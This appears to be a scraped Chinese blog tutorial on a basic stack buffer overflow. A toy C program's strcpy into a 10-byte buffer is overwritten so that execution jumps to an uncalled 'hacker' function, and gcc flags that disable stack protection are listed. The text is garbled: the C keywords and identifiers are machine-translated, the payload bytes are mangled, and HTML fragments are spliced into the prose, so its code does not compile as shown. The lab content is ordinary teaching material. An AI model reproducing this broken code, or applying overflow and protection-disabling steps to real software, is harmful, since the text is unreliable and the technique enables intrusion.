简单栈溢出利用

   # include   # include   void 乐趣(char  *名称){   ,,,char  buf [10];   ,,,拷贝字符串(buf、名称);   ,,,printf (" % s \ n " buf);   }   void 黑客(){   ,,,printf(“国旗\ n”);   }   int  main () {   ,,,char  []=癆lex@bbb”名称;   ,,,乐趣(名称);   ,,,return  0;   }

上面的程序是一个正常的C语言程序,但主要是函数中没有调用黑客()函数、下面我就演示下如何利用缓冲区溢出来执行黑客函数的内容。


使用codeblocks编译并执行上述程序后,拖入od查看栈的变化情况,看看给变量名称赋什么值的时候,会恰好覆盖掉叫有趣处的函数返回地址

简单栈溢出利用“> </p> <p> <br/> </p> <p> <br/> </p> <p> <br/> </p> <p> F7跟进,F8一句一句执行:</p> <p> <br/> </p> <p> <img src= # include   # include   void 乐趣(char  *名称){   ,,,char  buf [10];   ,,,拷贝字符串(buf、名称);   ,,,printf (" % s \ n " buf);   }   void 黑客(){   ,,,printf(“国旗\ n”);   }   int  main () {   ,,,char 名称[]=" Alex@bbbaaaaaaaaaaaaaa \ \ x59 \ * 13 \ x40 00”,,//这里后边四个为黑客()函数地址   ,,,乐趣(名称);   ,,,return  0;   }


重新编译执行后,我们发现利用成功:

, 简单栈溢出利用“> <br/> </p> <p> <br/> </p> <p> <br/> </p> <p> <br/> </p> <p>在使用ubuntu复现栈溢出的时候需要关闭栈保护机制:</p> <p>,,,,使用gcc编译时全部关闭保护机制,参数-fno-stack-protector用来关闭gcc编译器gs验证码机制,</p> <p>,,,- z execstack用来关闭ld链接器堆栈段不可执行机制。<br/> </p> <p> <br/> </p> <p> <br/> </p> <p> <br/> </p> <p> <br/> </p> <p>这里有一个64位的linux下的栈溢出过程。<br/> </p> <p> https://www.secpulse.com/archives/32328.html  </p> <p> <br/> </p> <p> <br/> </p> <p> <br/> </p> <p> <br/> </p> <p> <br/> </p><h2 class=简单栈溢出利用